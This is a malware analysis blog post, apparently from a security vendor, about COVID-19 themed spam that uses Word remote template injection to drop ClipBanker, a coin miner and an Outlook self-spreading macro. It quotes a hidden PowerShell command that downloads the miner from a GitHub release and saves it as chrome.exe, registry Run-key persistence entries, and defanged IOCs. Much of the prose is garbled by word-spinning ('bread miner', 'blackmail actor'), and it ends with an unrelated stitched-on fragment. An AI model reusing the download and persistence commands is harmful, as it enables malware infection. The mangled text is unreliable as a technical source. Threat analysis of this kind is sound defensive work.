Recently, we empiric a malware spam attack leveraging the accepted COVID-19 situation. The emails were beatific from a compromised mailbox appliance a mailer script. The bulletin contains a articulation arch to a Word document. The email takes advantage of a COVID-19 analysis authorization as a affectation to allurement the biting user into beat the articulation and downloading the document.
Figure 1. COVID-19 themed malspam with articulation to the awful document.
The antecedent downloaded Word certificate has no awful code. But already the victim opens the Word document, it will try to retrieve a awful macro-enabled arrangement from a alien server. The address is accepted as Alien Arrangement Injection and is frequently acclimated to balk changeless detection. After loading the alien template, it will again alert the user in enabling macro content.
Figure 2. Cipher atom of the settings.xml.rels with arrangement referenced to an alien target.
Figure3. Microsoft Word certificate allurement to accredit macro.
The arrangement has Base64 bifold files which are independent in the VBA UserForm. These binaries will be decoded and alone by the custom VBA functions in the template. The binaries that will be alone are as follows:
Figure 4. VBA UserForm with anchored payloads.
Figure 5. Infection chain
The aboriginal bifold alone is an infostealer accepted as ClipBanker. This blackmail monitors the clipboard and replaces cryptocurrency wallet addresses in the adulterated arrangement with the blackmail actor’s own. The macro calligraphy creates a anthology startup key as a anatomy of persistence.
HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun
[%random%5] = %AppData%LocalMicrosoftWindowsCOM Surrogatedllhost.exe
To activate the mining process, the loader will alpha the downloader and it will again try to drag the user privilege. Next, the downloader fetches the capital burden from a alien server, a bread miner and its agreement files. The bread miner will again be adored as “chrome.exe” to masquerade itself as a web browser.
powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden $ProgressPreference = ‘,27h,’SilentlyContinue’,27h,’; Invoke-WebRequest https://github.com/octopus734/BitcoinLight/releases/download/BitcoinLight/BitcoinLight.dat -OutFile “$env:appdata/Google` Chrome/chrome.exe”
Also, a anthology startup key is added for the chain of the bread miner.
REG ADD “HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun”
[%random%] = “%AppData%Google Chromechrome.exe”
The macro-enabled arrangement additionally anchored a archetype of the aboriginal Word certificate in the VBA UserForm. The anchored Word certificate is alone at C:/cfe91497d9137b2/COVID-19.docx.
The arrangement can bear itself above the adulterated system. This is done by hijacking the victim’s Outlook appliance via some macro VBA code, and agriculture the acquaintance list.
Figure 6. Macro calligraphy looping through the victim’s inbox accession sender names and email addresses.
The macro will again accelerate an email to anniversary of the victim’s contacts with a archetype of the COVID-19 themed certificate as an attachment. With this method, beatific emails are acceptable to be opened and abstracts downloaded and accomplished by the recipients as they appear from a trusted sender. Finally, the beatific emails will be deleted by the macro calligraphy in an attack to awning its advance and abolish evidence.
Figure 7. Sending the awful certificate to the account of harvested contacts.
Summary
As we abide to accord with the threats of COVID-19-related malware with the improvement of a new variant, blackmail actors are demography advantage of the bloom scares and uncertainties to bear malware, autumn credentials, and ultimately, accretion financially.
The MailMarshal Secure Email Gateway has added aegis for this blackmail for our customers. As usual, we admonish all users to abstain beat on URLs and accessories in unsolicited emails.
Indicators of Compromise (IOC)
Links:
hxxp[://]coronavirus-notice[.]com/COVID-19[.]docx hxxps[://]github[.]com/chocolate530/companytemplate/releases/download/generaltemplate/gentemplate[.]dotm hxxps[://]github[.]com/octopus734/BitcoinLight/releases/download/BitcoinLight/BitcoinLight[.]data
Files:
COVID-19.docx SHA1:94cd8f53b4022f9eeb41fb18ad6a62a746efebc7 gentemplate.dotm SHA1:2d05a7b796afd354f201c4778eed14334f08d25e dllhost.exe SHA1:735209f627d7f7e17f13094f55f9d0056ad89bd1 instx.exe SHA1:fe9cadec56b3a68a54f19c5656702b35a4b97759 ffd0.exe SHA1:9fb38b5ca038e5253832471474415c80ae39cce3
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Word Macro Enabled Template
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Below is an overview of the six available template groups along with visible references of their design kinds. You can obtain these information individually or as an entire collection. Any objects you chose that were discovered within the document are marked with a red exclamation point.
